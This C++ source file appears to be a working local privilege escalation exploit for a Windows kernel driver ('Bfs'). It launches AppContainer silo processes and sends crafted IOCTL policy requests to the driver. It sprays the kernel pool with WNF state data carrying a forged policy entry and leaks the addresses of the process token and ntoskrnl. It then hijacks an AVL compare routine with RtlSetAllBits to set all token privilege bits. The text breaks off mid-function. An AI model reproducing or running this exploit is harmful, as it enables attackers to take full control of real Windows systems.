1013 lines
28 KiB
C++
1013 lines
28 KiB
C++
|
|
#include <iostream>
|
|
#include <Windows.h>
|
|
#include <userenv.h>
|
|
#pragma comment(lib, "Userenv.lib")
|
|
|
|
#include "ntdll.h"
|
|
#pragma comment(lib, "ntdll")
|
|
|
|
#include <sddl.h>
|
|
#include "wnf.h"
|
|
#include "bfs.h"
|
|
|
|
#define SILO_APP_NAME1 L"SiloApp1"
|
|
#define SILO_APP_NAME2 L"SiloApp2"
|
|
|
|
|
|
__NtCreateWnfStateName NtCreateWnfStateName = NULL;
|
|
__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
|
|
__NtQueryWnfStateData NtQueryWnfStateData = NULL;
|
|
__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
|
|
__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;
|
|
|
|
LONGLONG GetSiloSignature(HANDLE ProcessHandle);
|
|
bool WnfSprayPrepare();
|
|
|
|
ULONGLONG gSignature2 = 0;
|
|
HANDLE gAppSilo2Handle = NULL;
|
|
HANDLE gAppSilo1Handle = NULL;
|
|
PSID gUserId2 = NULL;
|
|
PSID gContainerId = NULL;
|
|
|
|
_BFS_STORAGE* gStorgage = NULL;
|
|
|
|
int LoadWnfApi()
|
|
{
|
|
HMODULE hNtDll = NULL;
|
|
hNtDll = LoadLibraryA("ntdll.dll");
|
|
if (hNtDll == NULL)
|
|
{
|
|
printf("load ntdll failed!\r\n");
|
|
return -1;
|
|
}
|
|
|
|
NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
|
|
NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
|
|
NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
|
|
NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
|
|
NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
|
|
if (NtCreateWnfStateName == NULL ||
|
|
NtUpdateWnfStateData == NULL ||
|
|
NtQueryWnfStateData == NULL ||
|
|
NtDeleteWnfStateData == NULL ||
|
|
NtDeleteWnfStateName == NULL)
|
|
{
|
|
printf("not found functions\r\n");
|
|
return -1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
void CreateContainerIf(PCWSTR pszAppContainerName, PCWSTR pszDisplayName, PCWSTR pszDescription, PSID* ppSidAppContainerSid) {
|
|
|
|
HRESULT Hr = CreateAppContainerProfile(pszAppContainerName, pszDisplayName, pszDescription, NULL, 0, ppSidAppContainerSid);
|
|
if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {
|
|
|
|
Hr = DeriveAppContainerSidFromAppContainerName(pszAppContainerName, ppSidAppContainerSid);
|
|
}
|
|
}
|
|
|
|
struct _SiloSID
|
|
{
|
|
unsigned __int8 Revision;
|
|
unsigned __int8 SubAuthorityCount;
|
|
_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
|
|
unsigned int SubAuthority[2];
|
|
};
|
|
|
|
_SiloSID CreateAppSiloCapability() {
|
|
_SiloSID SeAppSiloSid = { 0 };
|
|
_SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 };
|
|
|
|
IdentifierAuthority.Value[0] = 0;
|
|
IdentifierAuthority.Value[1] = 0;
|
|
IdentifierAuthority.Value[2] = 0;
|
|
IdentifierAuthority.Value[3] = 0;
|
|
IdentifierAuthority.Value[4] = 0;
|
|
IdentifierAuthority.Value[5] = 0xF;
|
|
|
|
InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u);
|
|
SeAppSiloSid.SubAuthority[0] = 3;
|
|
SeAppSiloSid.SubAuthority[1] = 0x10000;
|
|
|
|
return SeAppSiloSid;
|
|
}
|
|
|
|
struct _PROC_THREAD_ATTRIBUTE
|
|
{
|
|
unsigned __int64 Attribute;
|
|
unsigned __int64 Size;
|
|
unsigned __int64 Value;
|
|
};
|
|
|
|
|
|
struct _PROC_THREAD_ATTRIBUTE_LIST
|
|
{
|
|
unsigned int PresentFlags;
|
|
unsigned int AttributeCount;
|
|
unsigned int LastAttribute;
|
|
unsigned int SpareUlong0;
|
|
_PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute;
|
|
_PROC_THREAD_ATTRIBUTE Attributes[1];
|
|
};
|
|
|
|
bool IsProcessInSilo(HANDLE ProcessHandl) {
|
|
|
|
HANDLE TokenHandle = NULL;
|
|
if (!::OpenProcessToken(
|
|
ProcessHandl,
|
|
TOKEN_QUERY,
|
|
&TokenHandle))
|
|
{
|
|
printf("GetUserId, Failed to OpenProcessToken()\n");
|
|
return false;
|
|
}
|
|
DWORD isAppSilo{};
|
|
DWORD tokenInformationLength{ sizeof(DWORD) };
|
|
|
|
if (!::GetTokenInformation(
|
|
TokenHandle,
|
|
TOKEN_INFORMATION_CLASS::TokenIsAppSilo,
|
|
&isAppSilo,
|
|
tokenInformationLength,
|
|
&tokenInformationLength
|
|
))
|
|
{
|
|
printf("LaunchContainerApp, Failed to GetTokenInformation(TokenIsAppSilo)\n");
|
|
return false;
|
|
}
|
|
|
|
return isAppSilo;
|
|
}
|
|
|
|
bool LaunchSiloApp(PSID pSidAppContainerSid, PCWSTR szProcessName, HANDLE* pProcessHandle, HANDLE* pThreadHandle) {
|
|
STARTUPINFOEX si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
SIZE_T size;
|
|
SECURITY_CAPABILITIES sc = { 0 };
|
|
sc.AppContainerSid = pSidAppContainerSid;
|
|
*pProcessHandle = NULL;
|
|
*pThreadHandle = NULL;
|
|
|
|
_SiloSID SeAppSiloSid = CreateAppSiloCapability();
|
|
SID_AND_ATTRIBUTES Capabilities = { 0 };
|
|
Capabilities.Sid = (PSID)(&SeAppSiloSid);
|
|
Capabilities.Attributes = 0xf;
|
|
|
|
sc.CapabilityCount = 1;
|
|
sc.Capabilities = &Capabilities;
|
|
|
|
InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
|
|
BYTE* buffer = (BYTE*)malloc(size);
|
|
memset(buffer, 0, size);
|
|
|
|
si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer);
|
|
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
|
BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr);
|
|
|
|
|
|
WCHAR szCommandLine[MAX_PATH];
|
|
|
|
swprintf_s(szCommandLine, MAX_PATH, L"%ls %ls", GetCommandLineW(), szProcessName);
|
|
|
|
bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi);
|
|
*pThreadHandle = pi.hThread;
|
|
*pProcessHandle = pi.hProcess;
|
|
|
|
return bResult;
|
|
}
|
|
|
|
PSID GetUserId(HANDLE ProcessHandle) {
|
|
HANDLE TokenHandle = NULL;
|
|
TOKEN_USER* pTokenUesrInfo = NULL;
|
|
DWORD dwLength = 0;
|
|
|
|
if (!::OpenProcessToken(
|
|
ProcessHandle,
|
|
TOKEN_QUERY,
|
|
&TokenHandle))
|
|
{
|
|
printf("GetUserId, Failed to OpenProcessToken()\n");
|
|
return NULL;
|
|
}
|
|
|
|
if (!::GetTokenInformation(
|
|
TokenHandle,
|
|
TOKEN_INFORMATION_CLASS::TokenUser,
|
|
NULL,
|
|
dwLength,
|
|
&dwLength
|
|
))
|
|
{
|
|
if (dwLength == 0) {
|
|
printf("GetUserId, Failed to GetTokenInformation(TokenUser, NULL)\n");
|
|
return NULL;
|
|
}
|
|
}
|
|
|
|
pTokenUesrInfo = (TOKEN_USER*)malloc(dwLength);
|
|
memset(pTokenUesrInfo, 0, dwLength);
|
|
|
|
if (!::GetTokenInformation(
|
|
TokenHandle,
|
|
TOKEN_INFORMATION_CLASS::TokenUser,
|
|
pTokenUesrInfo,
|
|
dwLength,
|
|
&dwLength
|
|
))
|
|
{
|
|
printf("GetUserId, Failed to GetTokenInformation(TokenUser)\n");
|
|
return NULL;
|
|
}
|
|
|
|
return pTokenUesrInfo->User.Sid;
|
|
}
|
|
|
|
void GetUserIdString(HANDLE ProcessHandle, PUNICODE_STRING usUserId) {
|
|
NTSTATUS Status = RtlConvertSidToUnicodeString(usUserId, GetUserId(ProcessHandle), 1);
|
|
}
|
|
|
|
PSID GetContainerId(HANDLE ProcessHandle) {
|
|
HANDLE TokenHandle = NULL;
|
|
TOKEN_APPCONTAINER_INFORMATION* pTokenAppContainerInfo = NULL;
|
|
DWORD dwLength = 0;
|
|
|
|
if (!::OpenProcessToken(
|
|
ProcessHandle,
|
|
TOKEN_QUERY,
|
|
&TokenHandle))
|
|
{
|
|
printf("GetContainerId, Failed to OpenProcessToken()\n");
|
|
return NULL;
|
|
}
|
|
|
|
if (!::GetTokenInformation(
|
|
TokenHandle,
|
|
TOKEN_INFORMATION_CLASS::TokenAppContainerSid,
|
|
NULL,
|
|
dwLength,
|
|
&dwLength
|
|
))
|
|
{
|
|
if (dwLength == 0) {
|
|
printf("GetContainerId, Failed to GetTokenInformation(TokenAppContainerSid, NULL)\n");
|
|
return NULL;
|
|
}
|
|
}
|
|
|
|
pTokenAppContainerInfo = (TOKEN_APPCONTAINER_INFORMATION*)malloc(dwLength);
|
|
memset(pTokenAppContainerInfo, 0, dwLength);
|
|
|
|
if (!::GetTokenInformation(
|
|
TokenHandle,
|
|
TOKEN_INFORMATION_CLASS::TokenAppContainerSid,
|
|
pTokenAppContainerInfo,
|
|
dwLength,
|
|
&dwLength
|
|
))
|
|
{
|
|
printf("GetContainerId, Failed to GetTokenInformation(TokenAppContainerSid)\n");
|
|
return NULL;
|
|
}
|
|
|
|
return pTokenAppContainerInfo->TokenAppContainer;
|
|
}
|
|
|
|
void GetContainerIdString(HANDLE ProcessHandle, PUNICODE_STRING usContainerId) {
|
|
|
|
NTSTATUS Status = RtlConvertSidToUnicodeString(usContainerId, GetContainerId(ProcessHandle), 1);
|
|
}
|
|
|
|
|
|
HANDLE OpenDevice() {
|
|
UNICODE_STRING usDevice = { 0 };
|
|
|
|
RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs");
|
|
|
|
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
|
|
InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
|
|
|
HANDLE hDevice = NULL;
|
|
NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0);
|
|
|
|
if (STATUS_SUCCESS != status) {
|
|
printf("[-] NtOpenFile() Return Code: %x\n", status);
|
|
printf("[-] NtOpenFile() Error: %x\n", GetLastError());
|
|
;
|
|
}
|
|
|
|
return hDevice;
|
|
}
|
|
|
|
struct _BFS_SET_POLICY
|
|
{
|
|
HANDLE TokenHandle;
|
|
ULONG FileType;
|
|
ULONG PolicyValue;
|
|
ULONG PolicyFlags;
|
|
UNICODE_STRING usFilePath;
|
|
ULONG OperationType;
|
|
};
|
|
|
|
void SendSetPolicyRequest(HANDLE ProcessHandle) {
|
|
HANDLE hDevice = OpenDevice();
|
|
|
|
DWORD InputBufferLength = 100;
|
|
PVOID InputBuffer = malloc(InputBufferLength);
|
|
|
|
DWORD OutputBufferLength = 100;
|
|
PVOID OutputBuffer = malloc(OutputBufferLength);
|
|
|
|
memset(InputBuffer, 0, InputBufferLength);
|
|
memset(OutputBuffer, 0, OutputBufferLength);
|
|
|
|
|
|
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
|
|
|
_BFS_SET_POLICY Policy = { 0 };
|
|
memset(&Policy, 0, sizeof(Policy));
|
|
|
|
if (ProcessHandle == NULL) {
|
|
ProcessHandle = GetCurrentProcess();
|
|
}
|
|
HANDLE hToken = NULL;
|
|
BOOL bReturn = OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &hToken);
|
|
|
|
|
|
Policy.TokenHandle = hToken;
|
|
Policy.FileType = 1;
|
|
Policy.PolicyValue = 2;
|
|
Policy.PolicyFlags = 0xf;
|
|
Policy.OperationType = 1;
|
|
|
|
|
|
WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
|
|
UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);
|
|
|
|
WCHAR szFilePath[MAX_PATH + 1] = { 0 };
|
|
swprintf_s(szFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", szSystemDir);
|
|
|
|
RtlInitUnicodeString(&Policy.usFilePath, szFilePath);
|
|
|
|
*(_BFS_SET_POLICY*)InputBuffer = Policy;
|
|
|
|
NTSTATUS Status = NtDeviceIoControlFile(
|
|
hDevice,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
&IoStatusBlock,
|
|
0x228004,
|
|
InputBuffer,
|
|
InputBufferLength,
|
|
OutputBuffer,
|
|
OutputBufferLength);
|
|
//printf("Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
|
|
}
|
|
|
|
|
|
HANDLE CreateStorage(PCWSTR szUserId, PCWSTR szContainerId) {
|
|
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
WCHAR szStoragePath[MAX_PATH + 1] = { 0 };
|
|
|
|
WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
|
|
UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);
|
|
|
|
swprintf_s(szStoragePath, MAX_PATH, L"%s\\config\\BFS\\%s\\%s", szSystemDir, szUserId, szContainerId);
|
|
|
|
hFile = CreateFileW(szStoragePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
|
|
if(hFile == INVALID_HANDLE_VALUE) {
|
|
printf("CreateStorage, Failed to CreateFileW(%ls) (0x%x)\n", szStoragePath, GetLastError());
|
|
}
|
|
|
|
return hFile;
|
|
}
|
|
|
|
bool TryToClearStorage(PCWSTR szUserId, PCWSTR szContainerId) {
|
|
|
|
bool bResult = false;
|
|
WCHAR szStoragePath[MAX_PATH + 1] = { 0 };
|
|
|
|
WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
|
|
UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);
|
|
|
|
swprintf_s(szStoragePath, MAX_PATH, L"%s\\config\\BFS\\%s\\%s", szSystemDir, szUserId, szContainerId);
|
|
|
|
bResult = DeleteFileW(szStoragePath);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
void CreateTestFile(PCWSTR szFileName) {
|
|
HANDLE hFile = CreateFileW(szFileName,
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
0,
|
|
NULL,
|
|
CREATE_ALWAYS,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
printf("[-] CreateTestFile() Error: 0x%x\n", GetLastError());
|
|
}
|
|
else {
|
|
printf("[+] Creating %ls.\n", szFileName);
|
|
}
|
|
CloseHandle(hFile);
|
|
}
|
|
|
|
bool Step1() {
|
|
PCWSTR pszAppContainerName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f2";
|
|
PCWSTR pszDisplayName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f28";
|
|
PCWSTR pszDescription1 = L"This is Container_c82b2e04-432a-4767-a737-143733ee9f28.";
|
|
PSID pSidAppContainerSid1 = NULL;
|
|
CreateContainerIf(pszAppContainerName1, pszDisplayName1, pszDescription1, &pSidAppContainerSid1);
|
|
|
|
HANDLE ProcessHandle = NULL;
|
|
HANDLE ThreadHandle = NULL;
|
|
|
|
if (!LaunchSiloApp(pSidAppContainerSid1, SILO_APP_NAME1, & ProcessHandle, &ThreadHandle)) {
|
|
printf("Failed to create silo app.\n");
|
|
return false;
|
|
}
|
|
|
|
if (!IsProcessInSilo(ProcessHandle)) {
|
|
printf("The process is not a silo app.\n");
|
|
return false;
|
|
}
|
|
|
|
printf("\nSilo1 isAppSilo=%d\n", 1);
|
|
|
|
UNICODE_STRING usUserId = { 0 };
|
|
GetUserIdString(ProcessHandle, &usUserId);
|
|
printf("Userid=%wZ\n", usUserId);
|
|
|
|
UNICODE_STRING usContainerId = { 0 };
|
|
GetContainerIdString(ProcessHandle, &usContainerId);
|
|
printf("usContainerId=%wZ\n", usContainerId);
|
|
|
|
TryToClearStorage(usUserId.Buffer, usContainerId.Buffer);
|
|
gAppSilo1Handle = ProcessHandle;
|
|
ResumeThread(ThreadHandle);
|
|
Sleep(1000);
|
|
|
|
SendSetPolicyRequest(ProcessHandle);
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
bool Step2() {
|
|
|
|
PCWSTR pszAppContainerName2 = L"Container_2a3ba19f-8a29-4b8d-b2e3-5da6e16365708";
|
|
PCWSTR pszDisplayName2 = L"Container_2a3ba19f-8a29-4b8d-b2e3-5da6e16365708";
|
|
PCWSTR pszDescription2 = L"This is Container_2a3ba19f-8a29-4b8d-b2e3-5da6e1636570.";
|
|
PSID pSidAppContainerSid2 = NULL;
|
|
CreateContainerIf(pszAppContainerName2, pszDisplayName2, pszDescription2, &pSidAppContainerSid2);
|
|
|
|
HANDLE ProcessHandle = NULL;
|
|
HANDLE ThreadHandle = NULL;
|
|
|
|
if (!LaunchSiloApp(pSidAppContainerSid2, SILO_APP_NAME2, &ProcessHandle, &ThreadHandle)) {
|
|
printf("Failed to create silo app.\n");
|
|
return false;
|
|
}
|
|
|
|
if (!IsProcessInSilo(ProcessHandle)) {
|
|
printf("The process is not a silo app.\n");
|
|
return false;
|
|
}
|
|
|
|
printf("\nSilo2 isAppSilo=%d\n", 1);
|
|
|
|
UNICODE_STRING usUserId = { 0 };
|
|
GetUserIdString(ProcessHandle, &usUserId);
|
|
printf("Userid=%wZ\n", usUserId);
|
|
|
|
UNICODE_STRING usContainerId = { 0 };
|
|
GetContainerIdString(ProcessHandle, &usContainerId);
|
|
printf("usContainerId=%wZ\n", usContainerId);
|
|
|
|
TryToClearStorage(usUserId.Buffer, usContainerId.Buffer);
|
|
|
|
gSignature2 = GetSiloSignature(ProcessHandle);
|
|
printf("Silo2 Signature=%I64x\n", gSignature2);
|
|
|
|
gAppSilo2Handle = ProcessHandle;
|
|
|
|
WnfSprayPrepare();
|
|
|
|
ResumeThread(ThreadHandle);
|
|
Sleep(1000);
|
|
|
|
HANDLE StorageFileHandle = CreateStorage(usUserId.Buffer, usContainerId.Buffer);
|
|
if (StorageFileHandle == INVALID_HANDLE_VALUE) {
|
|
return false;
|
|
}
|
|
|
|
SendSetPolicyRequest(ProcessHandle);
|
|
|
|
}
|
|
|
|
WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 };
|
|
|
|
bool CreateWnfStateName(){
|
|
NTSTATUS Status = 0;
|
|
|
|
PSECURITY_DESCRIPTOR pSD = NULL;
|
|
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr))
|
|
{
|
|
return false;
|
|
}
|
|
|
|
for (int i = 0; i < SPRAY_COUNT; i++)
|
|
{
|
|
Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
|
|
if (Status != 0)
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
if (pSD)
|
|
{
|
|
LocalFree(pSD);
|
|
}
|
|
return true;
|
|
}
|
|
|
|
_RTL_GENERIC_COMPARE_RESULTS KernelCallback(struct _RTL_AVL_TABLE* Table, PVOID FirstStruct, PVOID SecondStruct) {
|
|
int* addr = (int*)5;
|
|
|
|
*addr = 0;
|
|
|
|
return GenericLessThan;
|
|
}
|
|
|
|
PVOID GetObjectPointerByHandle(HANDLE hToken)
|
|
{
|
|
ULONG bufferSize = 0x1000;
|
|
DWORD pid = GetCurrentProcessId();
|
|
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(bufferSize);
|
|
|
|
int status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, &bufferSize);
|
|
if (status == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
free(pHandleInfo);
|
|
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(bufferSize + 0x10000);
|
|
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, &bufferSize);
|
|
}
|
|
|
|
for (int i = 0; i < pHandleInfo->NumberOfHandles; i++)
|
|
{
|
|
PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX pHandleEntry = &(pHandleInfo->Handles[i]);
|
|
if (pid == pHandleEntry->UniqueProcessId && pHandleEntry->HandleValue == (ULONG_PTR)hToken)
|
|
{
|
|
return pHandleEntry->Object;
|
|
}
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
#define MAXIMUM_FILENAME_LENGTH 255
|
|
|
|
typedef struct SYSTEM_MODULE {
|
|
ULONG Reserved1;
|
|
ULONG Reserved2;
|
|
#ifdef _WIN64
|
|
ULONG Reserved3;
|
|
#endif
|
|
PVOID ImageBaseAddress;
|
|
ULONG ImageSize;
|
|
ULONG Flags;
|
|
WORD Id;
|
|
WORD Rank;
|
|
WORD w018;
|
|
WORD NameOffset;
|
|
CHAR Name[MAXIMUM_FILENAME_LENGTH];
|
|
}SYSTEM_MODULE, * PSYSTEM_MODULE;
|
|
|
|
typedef struct SYSTEM_MODULE_INFORMATION {
|
|
ULONG ModulesCount;
|
|
SYSTEM_MODULE Modules[1];
|
|
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
|
|
|
PVOID GetModuleAddr(const char* modName)
|
|
{
|
|
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
|
|
|
|
DWORD outBuffer = 0;
|
|
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
|
|
|
|
if (status == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
free(buffer);
|
|
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
|
|
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
|
|
}
|
|
|
|
if (!buffer)
|
|
{
|
|
printf("[-] NtQuerySystemInformation error\n");
|
|
return 0;
|
|
}
|
|
|
|
for (unsigned int i = 0; i < buffer->ModulesCount; i++)
|
|
{
|
|
PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
|
|
PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;
|
|
if (_stricmp(kernelImage, modName) == 0)
|
|
{
|
|
free(buffer);
|
|
return kernelImageBase;
|
|
}
|
|
}
|
|
free(buffer);
|
|
return 0;
|
|
}
|
|
|
|
HMODULE GetNOSModule()
|
|
{
|
|
HMODULE hKern = 0;
|
|
hKern = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
|
return hKern;
|
|
}
|
|
|
|
DWORD64 GetGadgetAddr(const char* name)
|
|
{
|
|
DWORD64 base = (DWORD64)GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
|
|
HMODULE mod = GetNOSModule();
|
|
if (!mod)
|
|
{
|
|
printf("[-] leaking ntoskrnl version\n");
|
|
return 0;
|
|
}
|
|
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
|
|
|
|
DWORD64 returnValue = 0;
|
|
|
|
if (offset != 0) {
|
|
returnValue = base + offset - (DWORD64)mod;
|
|
}
|
|
|
|
FreeLibrary(mod);
|
|
return returnValue;
|
|
}
|
|
|
|
void BuildStroage(){
|
|
_BFS_STORAGE* Storgage = (_BFS_STORAGE*)malloc(sizeof(_BFS_STORAGE));
|
|
|
|
memset(Storgage, 0, sizeof(_BFS_STORAGE));
|
|
//(Storgage->FirstVolumeEntry.Directory.VolumeTable;
|
|
|
|
_BFS_AVL_TABLE BfsTable = {0};
|
|
memset(&BfsTable, 0, sizeof(_BFS_AVL_TABLE));
|
|
|
|
|
|
HANDLE hToken = NULL;
|
|
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|
|
DWORD64 Token = (DWORD64)GetObjectPointerByHandle(hToken);
|
|
printf("Token address=%I64x\n", Token);
|
|
|
|
const char* name = "RtlSetAllBits";
|
|
DWORD64 addr = GetGadgetAddr(name);
|
|
|
|
printf("Target function %s=%I64x\n", name, addr);
|
|
|
|
BfsTable.AvlTable.CompareRoutine = (PRTL_AVL_COMPARE_ROUTINE)(addr);
|
|
|
|
_RTL_BITMAP* BitMapHeader = (_RTL_BITMAP*)&BfsTable.AvlTable;
|
|
BitMapHeader->SizeOfBitMap = 0x80;
|
|
BitMapHeader->Buffer = (PULONG)(Token + 0x40);
|
|
BfsTable.AvlTable.NumberGenericTableElements = 1;
|
|
BfsTable.AvlTable.BalancedRoot.RightChild = (_RTL_BALANCED_LINKS*)0xffffffffffffffe0;
|
|
|
|
Storgage->ControlBlock = (_BFS_CONTROL_BLOCK*) malloc(sizeof(_BFS_CONTROL_BLOCK));
|
|
memset(Storgage->ControlBlock, 0, sizeof(_BFS_CONTROL_BLOCK));
|
|
Storgage->FirstVolumeEntry.Directory.VolumeTable = BfsTable;
|
|
|
|
gStorgage = Storgage;
|
|
|
|
return;
|
|
}
|
|
|
|
bool EnablePriviledges() {
|
|
DWORD dwLen;
|
|
bool bRes;
|
|
HANDLE TokenHandle;
|
|
|
|
if (!::OpenProcessToken(
|
|
GetCurrentProcess(),
|
|
TOKEN_ALL_ACCESS,
|
|
&TokenHandle))
|
|
{
|
|
printf("GetUserId, Failed to OpenProcessToken()\n");
|
|
return false;
|
|
}
|
|
|
|
// obtain dwLen
|
|
bRes = GetTokenInformation(
|
|
TokenHandle,
|
|
TokenPrivileges,
|
|
NULL,
|
|
0,
|
|
&dwLen
|
|
);
|
|
|
|
BYTE* pBuffer = new BYTE[dwLen];
|
|
if (pBuffer == NULL)
|
|
{
|
|
CloseHandle(TokenHandle);
|
|
return false ;
|
|
}
|
|
|
|
bRes = GetTokenInformation(
|
|
TokenHandle,
|
|
TokenPrivileges,
|
|
pBuffer,
|
|
dwLen,
|
|
&dwLen
|
|
);
|
|
|
|
if (!bRes)
|
|
{
|
|
CloseHandle(TokenHandle);
|
|
delete[] pBuffer;
|
|
return false ;
|
|
}
|
|
|
|
|
|
// Iterate through all the privileges and enable them all
|
|
// ======================================================
|
|
TOKEN_PRIVILEGES* pPrivs = (TOKEN_PRIVILEGES*)pBuffer;
|
|
printf("PrivilegeCount:%d\n", pPrivs->PrivilegeCount);
|
|
for (DWORD i = 0; i < pPrivs->PrivilegeCount; i++)
|
|
{
|
|
pPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;
|
|
}
|
|
// Store the information back in the token
|
|
// =========================================
|
|
bRes = AdjustTokenPrivileges(
|
|
TokenHandle,
|
|
FALSE,
|
|
pPrivs,
|
|
0, NULL, NULL
|
|
);
|
|
|
|
delete[] pBuffer;
|
|
CloseHandle(TokenHandle);
|
|
|
|
return bRes;
|
|
}
|
|
|
|
bool UpdateWnfStateData()
|
|
{
|
|
NTSTATUS Status = 0;
|
|
_BFS_POLICY_PARTIAL_ENTRY Entry = { 0 };
|
|
RtlFillMemory(&Entry, sizeof(Entry), 'C');
|
|
Entry.Signature = gSignature2;
|
|
Entry.UserId = gUserId2;
|
|
Entry.ContainerId = gContainerId;
|
|
Entry.Flag = 0x10000000;
|
|
Entry.Storage = gStorgage;
|
|
|
|
for (int i = 0; i < SPRAY_COUNT; i += 1)
|
|
{
|
|
Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
|
|
if (Status != 0)
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
bool WnfSprayPrepare() {
|
|
NTSTATUS Status = 0;
|
|
_BFS_POLICY_PARTIAL_ENTRY Entry = { 0 };
|
|
PSECURITY_DESCRIPTOR pSD = NULL;
|
|
|
|
int count1 = 10000;
|
|
int count2 = 5000;
|
|
|
|
WNF_STATE_NAME StateNames[10000] = { 0 };
|
|
WNF_STATE_NAME StateNames2[5000] = { 0 };
|
|
|
|
|
|
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr))
|
|
{
|
|
return false;
|
|
}
|
|
|
|
for (int i = 0; i < count1; i++)
|
|
{
|
|
Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
|
|
if (Status != 0)
|
|
{
|
|
printf("[-] HeapSprayPrepare NtCreateWnfStateName() Return Code: %x\n", Status);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
for (int i = 0; i < count1; i++)
|
|
{
|
|
Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
